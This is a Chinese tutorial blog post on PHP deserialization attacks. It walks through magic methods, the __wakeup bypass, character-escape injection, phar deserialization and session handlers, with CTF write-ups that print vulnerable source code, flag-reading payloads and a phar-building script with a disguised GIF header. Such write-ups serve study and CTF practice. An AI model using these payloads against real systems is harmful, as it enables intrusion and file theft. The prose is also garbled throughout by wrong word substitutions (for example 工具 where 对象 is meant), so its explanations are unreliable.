说到反序列化,常常会想到serialize(),unserialize()这两个函数。
我看到了一篇文章,文章引用我会写在文末,他先通过json_encode()和json_decode()两个函数帮助理解,虽然和反序列化没什么关系,但是确实对我理解反序列化有帮助的先看看文档是如何描述的

上实例

json_encode()这个函数帮助我们将这个数组序列化成一串字符串以是在这里,我们将数组序列化成json格式的字串的目的便是为了方便传输。
我们可以瞥见,这里json格式来保存数据紧张是利用键值对的形式。

php取反php反序列化完全总结 Webpack

到这里就差不多了,如果说上面的json_encode函数是将数组转化成json格式的字符串,那么我们来看序列号和反序列化便是一个工具序列化成一串字符串,但仅保留工具里的成员变量,不保留函数方法

看看例子

序列化结果为:O:6:"class1":3:{s:1:"a";s:1:"1";s:4:"b";s:5:"ThisB";s:9:"class1c";s:5:"ThisC";}工具序列化后的构造为:O:工具名的长度:"工具名":工具属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。
b是protected类型的变量,它的变量名长度为4,也便是b前添加了%00
%00。
以是,protected属性的表示办法是在变量名前加上%00%00。
c是private类型的变量,c的变量名前添加了%00类名%00。
以是,private属性的表示办法是在变量名前加上%00类名%00。
虽然Test类中有test1方法,但是,序列化得到的字符串中,只保存了公有变量a,保护变量b和私有变量c,并没保存类中的方法。
也可以看出,序列化不保存方法。

试试反序列化

echo和var_dump只能输出$test1->a,私有变量和protected变量都不可以

反序列化漏洞产生的缘故原由我个人总结便是反序列化处的参数用户可控,做事器吸收我们序列化后的字符串并且未经由滤把个中的变量放入一些魔术方法里面实行,这就很随意马虎产生漏洞。

那魔术方法是什么呢

魔术方法命名因此符号开头的,比如 construct, destruct, toString, sleep, wakeup等等。
这些函数在某些情形下会自动调用。

__construct():具有布局函数的类会在每次创建新工具时先调用此方法。
__destruct():析构函数会在到某个工具的所有引用都被删除或者当工具被显式销毁时实行。
__toString()方法用于一个类被当成字符串时应若何回应。
例如echo $obj;该当显示些什么。
此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命缺点。
__sleep()方法在一个工具被序列化之前调用;__wakeup():unserialize( )会检讨是否存在一个_wakeup( )方法。
如果存在,则会先调用_wakeup方法,预先准备工具须要的资源。
get(),set() 当调用或设置一个类及其父类方法中未定义的属性时__invoke() 调用函数的办法调用一个工具时的回应方法call 和 callStatic前者是调用类不存在的方法时实行,而后者是调用类不存在的静态办法方法时实行。

这里通过一个实例有助于理解这几个魔术方法的实行顺序

1.反序列化大略入门实例

<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a);?>

这里我们只要布局payload:http://127.0.0.1/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}就能够实现掌握echo输出的变量,完成一个反射型xss

这里我重新写个例子来整理一下序列化的实行过程

<?phpclass A{ var $a = "a"; var $b = "b\r\n"; function __construct() { $this->a = "123"; echo "初始化时调用\r\n"; } function __destruct() { echo "销毁时调用--"; echo $this->a . "\r\n"; }}$b = new A();#$ser serialize($b);#echo $ser;$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';$unser = unserialize($ser_test);echo $b->b;?>

通过debug以及团队师傅的解惑后我才把代码运行过程捋清楚了,先放出输出结果

这里先把A类实例化为$b,触发告终构函数__construct(),打印了初始化时调用,顺便把$a设置成123接着运行,这里的反序列化不会有任何输出,以为他没有调用布局函数也没销毁,但是天生了一个A类的反序列化工具。
(为什么序列化工具天生没有触发布局函数)末了会走到echo $b->b这里,输出此时实例化的工具$b->b的值,也便是b然后脚本结束,先销毁反序列化工具unser,输出销毁时调用,此时反序列化工具的$a是test,接着销毁实例化工具$b,也是同理。

2.wakeup绕过CVE-2016-7124

<?phpclass A{ var $target = "test"; function __wakeup(){ $this->target = "wakeup!"; } function __destruct(){ $fp = fopen("C:\\phpstudy_pro\\WWW\\unserialize\\shell.php","w"); fputs($fp,$this->target); fclose($fp); }}$test = $_GET['test'];$test_unseria = unserialize($test);echo "shell.php<br/>";include(".\shell.php");?>

代码正常的实行逻辑,该当是:unserialize( )会检讨是否存在一个_wakeup( )方法。
本例中存在,则会先调用_wakeup()方法,预先将工具中的target属性赋值为"wakeup!"。
把稳,不管用户传入的序列化字符串中的target属性为何值,wakeup()都会把$target的值重置为"wakeup!"。
末了程序运行结束,工具被销毁,调用destruct()方法,将target变量的值写入文件shell.php中。
这样shell.php文件中的内容便是字符串"wakeup"。
下面是一道这个知识点的ctf题目

3.[网鼎杯 2020 青龙组]AreUSerialz

先来理解一下源码:这里先判断存不存在str传参,存在的话先拿去is_valid函数过滤一下,这里is_valid函数的浸染是检讨一下str字符串里面有没有存在不可打印的字符。
ord函数是打印第一个字符的ASCII码必须在32到125之间

然后进入反序列化,这里反序列化后天生一个序列化工具,但是不触发任何函数,然后进程结束,序列化工具销毁,触发__destruct(),判断op值如果强即是“2”则把op重置为“1”,把稳这里的“2”是字符串,然后把content置空,实行process()函数,进入process()函数后先判断op,op即是“1”进入write函数,op即是“2”进入read函数(write函数实现一个文件写入的功能,read函数实现一个文件读取的功能)

这里我们须要进入read函数读取flag,以是须要让进入process()函数的op值为2,但是我们从一开始传入op为“2”时,在进入process()函数之前会在destruct()被重置为1,以是我们须要绕过这个重置1

这里我们用到了强即是和弱即是,这里的destruct函数是===“2”,在process()函数里面是==“2”数字2不强即是字符串2,但是数字2弱即是字符串2,以是我们可以op设置为数字2,在destruct函数时2不强即是“2”,以是op不会被重置,进入process()函数后op值2弱即是“2”,以是进入read函数进行读取flag.php

以是布局poc天生序列化字符串

这是我以前最搞不明白的地方,通过前面的总结已经可以自己写出poc了哈哈哈,这里我写写我对写poc的理解:

由于我们须要传入一个FileHandler类的序列化工具,让FileHandler类的函数实行我们序列化工具中的变量,而序列化只会保存类工具的变量,不会保存方法,以是我们只需布局这个FileHandler类的变量,将他序列化,这些变量将会在他反序列化的时候实行的魔术方法被利用,绕过魔术方法内有可利用函数,则存在反序列化漏洞这里我们只需把三个参数的值写入然后序列化这个类即可,然后把得到的payload传入靶场进行文件读取获取flag

3.PHP反序列化字符逃逸详解前置知识:

特点1:php在反序列化时,底层代码因此 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这解释反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。
而且可以看到反序列化字符串都因此";}结束的,那如果把";}添入到须要反序列化的字符串中(除了却尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
特点2:长度不对应会报错

漏洞产生:反序列化之以是存在字符逃逸,最紧张的缘故原由是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。

漏洞常见条件:序列化后过滤再去反序列化

一、更换修正后导致序列化字符串变长

示例代码:

<?phpfunction filter($str){ return str_replace('bb', 'ccc', $str);}class A{ public $name = 'aaaa'; public $pass = '123456';}$AA = new A();echo serialize($AA) . "\n";$res = filter(serialize($AA));echo $res."\n";$c=unserialize($res);var_dump($c);?>

这里我们的目的便是间接通过反序列化改变pass的值我们先理解代码实行顺序,这里是先序列化,然后再用序列化完的字符串进行过滤以是当name的值为aaaabb的时候,过滤完name的值是aaaaccc,七个字符,但是序列化字符串依然认为name的值是6个,以是根据上面前置知识的特性二,这里反序列化失落败,var_dump($c)的结果是bool(false)

但是我们可以利用特性一去闭合,当我们让name的值为";s:4:"pass";s:6:"hacker";}

首先我们要记得要知足特性一和特性二才能反序列化成功!


我们来看天生的字符串O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}(这里须要理解天生的序列化字符串各个含义,前文有阐明)为什么现在天生的序列化字符串还能反序列化成功呢?由于我们的name的值现在认为我们有27个字符串,但是现在

(箭头处)是空的,以是name只能认为";s:4:"pass";s:6:"hacker";}当作了name的值,这个序列化字符串才能成功反序列化。
以是我们的pass的值还是输出了123456.但是我们是想把";s:4:"pass";s:6:"hacker";}当作序列化字符串里面的一部分去实行,让pass变成hacker。
以是我们利用到了fileter函数,这个过滤函数看似想增加代码的安全性,实际上是增加了代码的危险性。

可以看到";s:4:"pass";s:6:"hacker";}是27个字符串,以是我们使name的值为bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},

来剖析这27个bb,经由第一步序列化后为O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

首先这里name的值的字符串数字为81,然后看到filter函数过滤后为O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}变成了81个c,

刚好便是原来让name的字符串个数81精确,而且;}可以在hacker后面闭合(图中箭头所指的;}),这符合了前置知识里面的两个特性,可以成功实行,然后后面的";s:4:"pass";s:6:"123456";}就可以废弃了,这便实现了间接修正了pass的值注:再阐明一下我以为这里我最开始的时候也很难明得,这里序列化后bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}是name的值,81个值经由filter函数过滤后,前54个c就相称于54个b,多出来的27个字符c,把27个字符";s:4:"pass";s:6:"hacker";}顶到后面了,到这里序列化语句就由于;}截止了,且name的字符串数81为81个c,符合特性二,可以反序列化成功。
后面";s:4:"pass";s:6:"123456";}被顶出去废弃了

总结思路:这里实在便是利用了filter函数可以更换增加字符串,每增加一个bb,在过滤函数filter更换之后会多一个字符串,我们须要布局的payload";s:4:"pass";s:6:"hacker";}是27个字符串,以是我们加上27个bb是为了多出27个字符

字符串增加的例题:[0CTF 2016]piapiapia

这里为了讲反序列化的字符逃逸问题以是跳过做题思路,直接访问www.zip下载源码审

看看代码

index.php

<?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else {?><!DOCTYPE html><html><head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div></body></html><?php }?>

这里用于验证账号密码精确后,跳转到profile.php页面

profile.php:

<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));?><!DOCTYPE html><html><head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi <?php echo $nickname;?></h3> <label>Phone: <?php echo $phone;?></label> <label>Email: <?php echo $email;?></label> </div></body></html><?php }?>

看到涉及了反序列化函数unserialize(),反序列化的几个变量是上传文件处几个参数第一行代码就包含了class.php,也拿出来看看

<?phprequire('config.php');class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; }}class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; }}session_start();$user = new user();$user->connect($config);

update.php

<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else {?><!DOCTYPE html><html><head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div></body></html><?php }?>

填写信息后将信息序列化并过滤

config.php

<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = '';?>

可以看到flag在这个文件看完代码后看看页面,有助于理解

开始审计

代码逻辑都看完后,扔seay自动审计看看

总结出三处危险函数利用,profile.php处的unserialize和file_get_contents和update.php的serialize可以看到这里将变量$profile['photo']中的内容(也便是上传的文件)读取后进行base64编码,我们全局搜索一下这个变量

看到变量$profile['photo']是文件上传掌握的但是被经由md5加密了,没办法直接传,结合反序列化函数和前面看到的filter的那些正则匹配更换函数,我们可以试着考试测验反序列化的字符逃逸。
先反过来跟踪传输变量$profile的方法update_profile()

这里看到经由过滤后调用update()更新数据,跟踪update()

update()函数是把$profile变量更新放入数据库,到这里追踪就断了上面是从后往前推,下面是从前今后推看一下别人的文章,创造可以追踪一下$profile变量

profile.php

可以看到$profile变量是$user的show_profile函数传过来的,跟进去class.php下,user类里面

user类继续了mysql类,这里先调用了父类的filter函数。
这里是更换字符串中的单引号和反斜杠为下划线 ,并且更换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”:

然后show_profile里面又调用了父类的select函数

看到这里的数据库操作就可以和前面断了的链连接起来了调用链从后往前推为:update.php吸收传参->update_profile()->class.php的update()->数据库操作->class.php的select()->show_profile()->profile.php的file_get_contents()思路:在update.php吸收上传文件传参,然后在update_profile()里面实行序列化函数和过滤函数以及update()更新数据库,接着show_profile()通过parent::select()取到$profile变量,并把$object-<profile变量return返回,末了返回的$object-<profile变量在profile.php被赋值给$profile之后反序列化并放到file_get_contents()读取文件

整理好思路后看到序列化函数,反序列化以及过滤函数就可以联系到字符逃逸了。
现在我们须要让file_get_contents()读取config.php,但是变量$profile['photo']被经由md5加密了,没办法直接传,我们看上他的上一个参数nickname,由于这里是序列化之后再经由filter函数更换过滤,我这也是字符逃逸的一个关键条件

绕过:先看看两个过滤处,一个是preg_replace更换函数,一个是正则匹配函数第一处preg_replace更换:

这里可以看到把select,insert,update等字符串更换成hacker,其他都是6个字符串,和hacker一样,并不能让字符串增多,但这里有一个where是五个字符串,更换成hacker后相称于多了一个字符串,如果我们多写几个where,就能多出多个字符串,多出来的字符串可以布局语句形成字符逃逸。
第二处正则匹配函数:

这里先对它进行了正则,这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,由于 “^” 符号是在 “[]” 里面,所以是非的意思,不是开始的意思,preg_match只能处理字符串,当传入的subject是数组时会返回false,以是我们传入数组可以绕过注:这里传数组的payload,闭合就和直接传字符串不一样,上面大略示例的payload是";s:4:"pass";s:6:"hacker";}而这里数组的payload是";}s:5:"photo";s:10:"config.php";}

可以看到数组的payload才能闭合,这里可以看到须要34个字符闭合在箭头处,实现字符逃逸,以是我们利用正则更换函数,用34个where更换hacker,就会多出34个字符串,从而实现字符逃逸,以是我们这里的终极payload为:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

实际利用

注册个账户登入来到上传文件处

抓包修正nickname[]和内容

成功拿到flag

二、更换之后导致序列化字符串变短

大略示例代码:

<?phpfunction str_rep($string){ return preg_replace( '/php|test/','', $string);}$test['name'] = $_GET['name'];$test['sign'] = $_GET['sign']; $test['number'] = '2020';$temp = str_rep(serialize($test));printf($temp);$fake = unserialize($temp);echo '<br>';print("name:".$fake['name'].'<br>');print("sign:".$fake['sign'].'<br>');print("number:".$fake['number'].'<br>');?>

这段代码是吸收了参数name和sign,且number是固定的,经由了序列化=>正则匹配更换字符串减少=>反序列化的过程后输出结果,我们的目的便是通过掌握传参name和sign,间接改变number我们连续像上文一样布局在sign中传";s:6:"number";s:4:"2000";}看看闭合

这样子直接加入显然是弗成的,由于sign的字符串个数为27,所往后面横线处的payload被当作了字符串sign的值,而没有被当作序列化语句去反序列化,以是我们还是须要过滤函数了给我们实现字符逃逸布局payload:?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

修正了一下代码使其输出序列化后的字符串和过滤后的字符串,可以看到全体payload成功改变了number的数值,事理实在和上面字符串增多的事理是大同小异的,经由过滤后第一个横线处被当作name的值,第二处横线则被当作序列化语句实行了以是成功修正了num值,并闭合完成,第三处横线则被顶出,废弃了。

注:虽然看文章直接用payload的可以理解,但是我在思考如果碰着这种题目我自己该当如何布局payload,我怎么知道放入几个test?

布局payload思路:首先我们想让number的值改变,可以布局";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}这里我们须要布局的序列化语句有两个值,sign和number,由于我们的传参是放在sign参数里面,以是须要布局一个正常的sign。
(这里的闭合和字符串增多的格式是一样的)来看一下过滤后的payload:a:3:{s:4:"name";s:24:"";s:4:"sign";s:54:"hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}红字部分便是我们须要放入的test的个数,红字部分有24个字符串(也便是name的值),以是我们须要放入24个test实在这里的hello是来凑的,hello换成o也可以,只假如4的倍数,由于test是4个字符串,相对应的test也要减少一个

这里给出代码大家融会一下,test个数实在也便是name的值的字符串个数

与字符串增加的差异:

1、字符串增加:布局的序列化语句和过滤的值(bbbbbb)在同一个变量字符串减少:布局的序列化语句和过滤的值不在同个变量里2、字符串增加:布局过滤的值(bbbbbbb)的个数便是布局的序列化语句的字符串个数";s:4:"pass";s:6:"hacker";}字符串减少:布局过滤的值是name的值的个数

[安洵杯 2019]easy_serialize_php

理解一下代码:先吸收一个f的GET传参filter函数是过滤函数,正则匹配更换字符串,字符逃逸的条件之一extract() 函数从数组中将变量导入到当前的符号表(本题的浸染是将_SESSION的两个函数变为post传参)这里本来有点迷惑,本地搭建试了一下(也是由于他才存在变量覆盖漏洞,我们才有两个可控参数)

看到传phpinfo提示可能有一些东西,进去看看

很狗,搜flag搜不到,是f1ag,直接访问文件访问不到,接着看源码看到最底下的file_get_contents文件读取函数,那就想办法读取他

当传参是show_image时,对$serialize_info变量进行反序列化并读取到这就不丢脸出了是字符逃逸的题目,由于有序列化-》过滤-》反序列化,还有个文件读取函数这里一共有两个参数可控,分别是_SESSION[user]和_SESSION[function],读取的_SESSION[img]变量是不可控的,以是我们须要布局

键名逃逸

过滤前:a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}过滤后:a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}我最开始迷惑为什么须要;s:1:"1比拟完创造过滤前键名是phpflag,键值是后面48个字符串过滤后phpflag没了,键名就变成了";s:48:但是后面我们布局的img键值对是须要被反序列化的,已经是一对了,键名";s:48它没有键值,以是我们该当给他一个键值;s:1:"1键值名凑和";s:48:一样七个字符就好了,以是我们该当布局payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

看到提示我们新路径flag在/d0g3_fllllllag,将/d0g3_fllllllag去base64加密得到,L2QwZzNfZmxsbGxsbGFn

键值逃逸

这个便是上面大略示例的类型了payload:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

再说一次布局poc思路:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}先布局img的值,然后我们这里我们须要用到两个可控参数user和function,键名逃逸一个就可以了但键值逃逸须要两个,这里的user是用来传过滤字符,function参数也须要布局,这个与上面大略示例同理

以是payload:a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这里不懂为什么有个a可以参考上面大略示例布局poc思路过滤前:a:2:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:65:"a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"过滤后:a:2:{s:4:"user";s:24:"";s:8:"function";s:65:"a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

4.phar反序列化[CISCN2019 华北赛区 Day1 Web1]Dropbox

进入题目后是一个登录框,可以注册,以是先注册进去看看先不试试注入

可以看到有上传文件和文件删除文件下载功能,自然就试试能不能文件下载flag文件,但是读不到,可以读index.php文件试试,结果index.php的提示读出下面三个文件,大概就只须要这三个文件,其他就不截图了

看到的sql语句的参数都被绑定,以是sql注入走不通

布局利用链

看到了file_get_contents()函数,可以文件读取,找到在user类的destruct()函数调用了此函数,但是没有回显,以是找找可以回显的地方,在FileList类有call()函数把$file->$func()的值放到result,然后在destruct()函数输出出来,call()是上面说过是访问不存在的方法时调用,以是这条链就很明显了,先user->destruct()读取FileList的close()函数,由于读不到以是实行call()函数,在call函数内使$file为$File类,$func为close(),然后file_get_contents()取到值后放入$result末了在进程结束时destruct()把result打印出来。

注:我一贯在迷惑为什么$func不用总结给他赋值为close(),查了一下call函数,_call方法有2个参数,method和param,对应真实的方法名字和参数。
以是再总结一次这里便是先在user类的destruct()函数读FileList类的close(),由于不存在以是调用call(),在call里可以使$file->$func为$File->close(),以是成功调用file_get_contents(),返回结果放在result并输出。

但是这里找不到unserialize()反序列化函数,该当是可以利用phar反序列化

phar反序列化前置知识

phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情形下,合营phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
详细文章https://paper.seebug.org/680/首先理解一下phar文件的构造,一个phar文件由四部分构成:

a stub:可以理解为一个标志,格式为xxx<?php xxx; HALT_COMPILER();?>,前面内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents:phar文件实质上是一种压缩文件,个中每个被压缩文件的权限、属性等信息都放在这部分。
这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手腕最核心的地方。
the file contents:被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only):署名,放在文件末端

普通的理解便是php文件系统很大一部分函数经由phar://解析时,存在着对meta-data(在这里<meta-data>区域面搞反序列化的pop链)反序列化的操做。
</meta-data>

phar利用条件

1、phar文件可上传2、文件流操作函数如file_exists(),file_get_contents()等影响函数要有可利用的魔术方法做跳板3、文件流参数可控,且phar://没有被过滤,或可绕过

影响函数

绕过方法

(1)phar://被过滤有以下几种方法可以绕过:

compress.bzip2://phar://compress.zlib://phar:///php://filter/resource=phar://$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

(2)除此之外,我们还可以将phar假造成其他格式的文件。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有哀求的。
那么我们就可以通过添加任意的文件头+修正后缀名的办法将phar文件伪装成其他格式的文件。
如下:

实际利用

天生payload

<?phpclass User { public $db; public function __construct(){ $this->db=new FileList(); }}class FileList { private $files; private $results; private $funcs; public function __construct(){ $this->files=array(new File()); $this->results=array(); $this->funcs=array(); }}class File { public $filename="/flag.txt";}$user = new User();$phar = new Phar("shell.phar"); //天生一个phar文件,文件名为shell.phar$phar-> startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub$phar->setMetadata($user); //将工具user写入到metadata中$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha$phar->stopBuffering();

末了把文件上传后在删除文件处抓包,?filename=phar://shell.jpg即可,这里文件上传还要改改文件类型和文件名绕过

5.session反序列化前置知识

理解php的session之前先理解一下session是什么,这里引用百度的描述,比较官方Session:在打算机中,尤其是在网络运用中,称为“会话掌握”。
Session工具存储特定用户会话所需的属性及配置信息。
这样,当用户在运用程序的Web页之间跳转时,存储在Session工具中的变量将不会丢失,而是在全体用户会话中一贯存不才去。
当用户要求来自运用程序的 Web页时,如果该用户还没有会话,则Web做事器将自动创建一个 Session工具。
当会话过期或被放弃后,做事器将终止该会话。
Session 工具最常见的一个用法便是存储用户的首选项。
例如,如果用户指明不喜好查看图形,就可以将该信息存储在Session工具中。
不过不同措辞的会话机制可能有所不同。

PHP session:可以看做是一个分外的变量,且该变量是用于存储关于用户会话的信息,或者变动用户会话的设置,须要把稳的是,PHP Session 变量存储单一用户的信息,并且对付运用程序中的所有页面都是可用的,且其对应的详细 session 值会存储于做事器端,这也是与 cookie的紧张差异,以是seesion 的安全性相对较高。

session的事情流程:当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的相应头,将这个Session ID保存到客户端Cookie中。
同时,也在做事器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。
当同一个用户再次访问这个网站时,也会自动通过HTTP的要求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在做事器的硬盘中去探求和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中运用,达到跟踪这个用户的目的。

seesion_start()的浸染:当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之添补到 $_SESSION 超级全局变量中。
如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。
如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

php.ini中一些Session配置:1、session.save_path="" --设置session的存储路径2、session.save_handler=""--设定用户自定义存储函数,如果想利用PHP内置会话存储机制之外的可以利用本函数(数据库等办法)3、session.auto_start boolen--指定会话模块是否在要求开始时启动一个会话默认为0不启动4、session.serialize_handler string--定义用来序列化/反序列化的处理器名字。
默认利用php

常见的php-session存放位置有:1、/var/lib/php5/sess_PHPSESSID2、/var/lib/php7/sess_PHPSESSID3、/var/lib/php/sess_PHPSESSID4、/tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED5、phpstudy集成环境下在php.ini里查找session.save_path,也可以在这里变动路径

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称

存储格式

php

键名 + 竖线 + 经由serialize()函数序列化处理的值

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经由serialize()函数序列化处理的值

php_serialize

经由serialize()函数序列化处理的数组

